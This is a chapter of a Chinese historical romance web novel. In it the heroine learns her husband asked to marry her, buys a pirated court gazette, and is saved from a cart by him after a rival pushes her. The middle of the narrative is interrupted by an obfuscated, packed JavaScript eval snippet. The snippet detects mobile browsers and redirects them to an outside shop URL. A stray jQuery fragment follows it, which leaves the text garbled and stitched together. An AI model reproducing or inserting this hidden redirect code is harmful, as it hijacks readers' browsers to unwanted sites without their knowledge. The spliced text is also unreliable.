沈关音少说愣了得有半刻。
主动求娶,她?
沈关音本以为他是被孙大郎和乔夫人安排,才不得不成全了婚约,谁料想,竟然是他主动提出来的?
成婚当晚,他说没骗她,诚恳、坦荡。现在想来,这是一句真实但不完整的回答。
这个狗男人,又骗她一次。
而她,从始至终,她没得选,就这么稀里糊涂嫁了。
有那么一瞬,她似乎觉得,这个世上绝不存在一个能说真话的男人。除了他,还有个姓薛的!
她的手紧紧攥着袖子,指关节大力到发白。
蓝嬷嬷说道:“甘管事和我说的,沈丫头。他听老爷和夫人要为你安排婚事,他主动求管事,想让夫人把你许给他。我本来觉得不妥,但老爷和夫人若是想把你打发给外男,那就更不合适了。这世上一堆歪瓜裂枣,还有心术不正的,我哪能放下心?”
沈关音说不出话来。半晌,她才开口:“那传闻他呆傻是怎么回事?装出来的?”
说道这个,蓝嬷嬷的语气里多了些叮嘱:“府里总有几个碎嘴的下人,他们不是省心的料。这些人偶尔去庄子,务必少与他们打照面。沈丫头,听我一句劝,你这些日子先将就着,但是一定要先找个安身立命的生计,以后你扔了他不管,想去哪里我都不拦着。别忘了我说的话。”
蓝嬷嬷嘴里说的人大概是柳树、柳条儿、柳叶。沈关音是知道的,负责抬货卸货的三个人。
“嬷嬷,我当然知道。”沈关音乖巧点头道谢。纵然有一万个不满,她也不会对任何一个对她抱有善意的人恶言相向的。
上了驴车,沈关音对车夫说道:“去趟集市。”
车夫的小鞭子一挥,毛驴大叫了几声,咔哒咔哒拉着轿子,不多时就在一圈红栅栏外停下了。
答应那人的事,她并不是心甘情愿地做,因为她也想看邸报。
沈关音下了车,照着蓝嬷嬷指的方向走了过去。
集市人来人往,时不时有宝马香车辚辚向前,车帷绣帘旁悬着精巧的香球,透出的幽幽香气,所过之处经久不散。又有彩幡翻飞飘摇,眼花缭乱,让沈关音找了好一会儿才寻到目的地。
这间叫“半山书铺”的地方。
夹在两座大店中央,显得十分不起眼。左面是酒楼,右面是“武陵台榭”,与两店相比,这店铺门口竟一个人都没有,檐下的匾额歪歪扭扭的,彩漆也脱落了一大半。
她站在门槛外,往里头探了一眼。光线昏暗,柜台后也没人。
沈关音犹豫着,拿不定主意。
她是答应了那男人不假,可是他欺骗自己在先……凭什么还要帮他办事?而且要求还这么奇怪。
“牙头!卖书啊?”
柜台忽然冒出一个二十来岁的后生,穿戴寻常巾帽、圆领,鼻梁上架着一个模糊的水晶眼镜儿。
沈关音被吓了一跳,险些向后栽去。她定了定神,说道:“不是卖书,是买。”
“卖什么?”
沈关音重申:“我要买……翻刻的邸报。”
“迪报?牙头,那是官府内部的东西,我这里木得啊。”
闹了半天还没有,沈关音不由得蹙了眉头。蓝嬷嬷只告诉她,孙大郎的邸报就是从这里买的。本地大花商的眼光定然是可靠的,但目前看来,掌柜不仅口音重得难以听懂,对客人称呼也十分轻佻。
“罢了,我再问问别家就是。”她转过身子,“好歹还是大商人推荐来的,什么态度啊?”
“等等,我有!”后生急忙对着她的声音喊了一句,这回却是流利的官话。
他压低声音说道:“您也知道,邸报是灰色产业,若是谁都知道我们这里买这玩意儿,把番役惹来就不好了。”
沈关音阴恻着脸,“怎么卖?”
后生的嘴角绽出一个笑来,“小姐,”他不知从哪摸出一本,递给她看:“一本,二钱银子。”
“最新的?”
“当然,你看看!”
她翻了几页。近一个月的官员任免的公开信息、臣子奏章、皇帝批答,全部都有,算是了解时下朝政的官方渠道。
她合上书:“怎么确认真实性?”
若是胡编乱造的假新闻被有心之人利用,那便不是邸报了,而是妖言惑众,要被官府追责的。
“您放心,我们的来源绝对正规,不过这个不能透露哈。我们不抄军事要密,也不押科举试题。您放心,我绝对不会被官府抓走的!”
沈关音从褡裢里拿出粒银子,交给后生:“连月全套买,可有折扣吗?”
两人拉扯了几番,最后后生不情不愿地压了点价。好在青州是地方,她一下买全套邸报省钱;坏处是,消息流通慢,一份新邸报恐怕要等十天半月,甚至更久。
沈关音把买来的邸报册子塞到蝴蝶包里,坐车回了田庄。
田庄门口被一股不详的气息笼罩着。
孙承礼独自站在外门前,堵住了沈关音的去路。
方才看到女子的靓影,孙承礼心中的一团火直直冲到头顶。这女人害得他满脸长疹子!他现在出门,还得戴着大帽和面衣,把疹子严严实实遮住,简直就跟过街老鼠一般。
“你倒是悠哉啊?沈关音。”
孙承礼反过来将她看得清清楚楚。头扎着一副男子的黑纱幅巾,鬓边簪着鲜花,身上穿着的还是早上那件月白色长衣,水绿色顾绣彩蝶裙,好一个灵气生动的模样。
他心里又痒痒了。跟武陵台榭的歌女舞姬比,还是这种清冷疏离的佳人更得他意。
“我看你是屁股又痒痒了。要不要我给你挠挠?有现成的鞭子。”
祝劭元不知何时出现在门口,一手撑着门框,目光像钝刀一般缓缓扫过孙承礼的面衣。他没有发作,脸色却阴沉得骇人。
“你敢在我家威胁我。”孙承礼上前一步,咬牙切齿说道:“吃我家的饭还敢这么说话!要不是我爹娘想把她快点打发了,你以为你能娶得了她?”
他比祝劭元矮将近一个头,这句威胁心有余而力不足。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839675|211593||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“老爷和夫人怎么处置的你,要我给你重申一遍吗?”
禁足三个月,每日抄书自罚、反省。
这个惩罚真的很轻,但对孙承礼这个喜欢饮酒作乐的富家公子来说,太重了。
见孙承礼不说话,祝劭元慢悠悠地补刀:“夫人也就罢了,若老爷知道你在禁足期间到处乱跑,不思悔改,你觉得你还能招摇多久?”
四周出奇地安静。唯有奔袭而来的马车声由远及近,越来越响。
大概是府里派人拉货的车到了。
“哼,算你行。”孙承礼一把拂过袖子,下了台阶,却迟迟不走。
车轮辗过石板的轰鸣声越来越大。忽然,孙承礼一把拧住沈关音的胳膊,将她径直掼了出去。
祝劭元瞬时失色,几乎本能地伸出手,想要将沈关音拽回来。然而惯性太大,时间根本来不及——
一声巨大的轰鸣。沈关音被震地耳朵嗡响,大脑一片空白。尚未来得及反应,整个人已被一具温暖的身体裹住。
她懵了好一会儿,才渐渐回过神来。她完好无损地蜷在祝劭元的怀里,那怀抱带着一股不容抗拒的力量,将她紧紧护在胸前。
“你……”沈关音不可置信地看向他。祝劭元紧绷着下巴,脸色惨白,却没有松手。
他艰难吐出几个字,“别管我,去看看那辆车。”
“孙承礼!”沈关音这次真的带着怒意,几步向前,把他的大帽生生拽了下去,又拿帽檐打了好几下。
旁人轰然炸开:“咦?公子的脸怎么回事?”
孙承礼脸上的疹子消了一部分,却留了疤,脸上遍布密密麻麻的浅棕色瘢痕,看得让人直起鸡皮疙瘩。
沈关音被恶心到不行,连连后退数步,转头去找祝劭元。
男人看她走来,微微抬了下手。
她把祝劭元扶到门内,试图帮他顺气。
“你没事?”他低着头,无力地靠在墙上。
沈关音不知该怎么回答,便说道:“我去给你拿杯水,在这等我。”
本在正常驾驶的马车,被停在田庄门口的驴车挡住了视野。那车夫忽然看到路上摔出两个人,在最后的关头,硬生生将马头偏向一侧,结果车轮碾过路边,整辆车连人带马轰然侧翻,扬起一片尘土。
这声巨响惊动了田庄的人,众人纷纷跑出来,见到的却是此种骇人景象。
甘管事大惊失色,赶忙随着沈关音,去将车夫和马匹解救出来。众人忙了好一会,才将将善后完毕。
张嬷嬷忧心忡忡地问道:“这不是孙府的货车?”
甘管事摇了摇头。
“那是谁家的?得赔多少?”
车夫伤了,送医要花钱。这年头,一匹马的价值远远比驴子大。还有拉的一车货,不知又要赔多少。
甘管事干巴巴地说道:“这事得让老爷和夫人判断。孙公子,随我回趟府,把事情交代了。”
众人忙完回庄子,沈关音却迟迟没看见祝劭元的影子。
他不见了。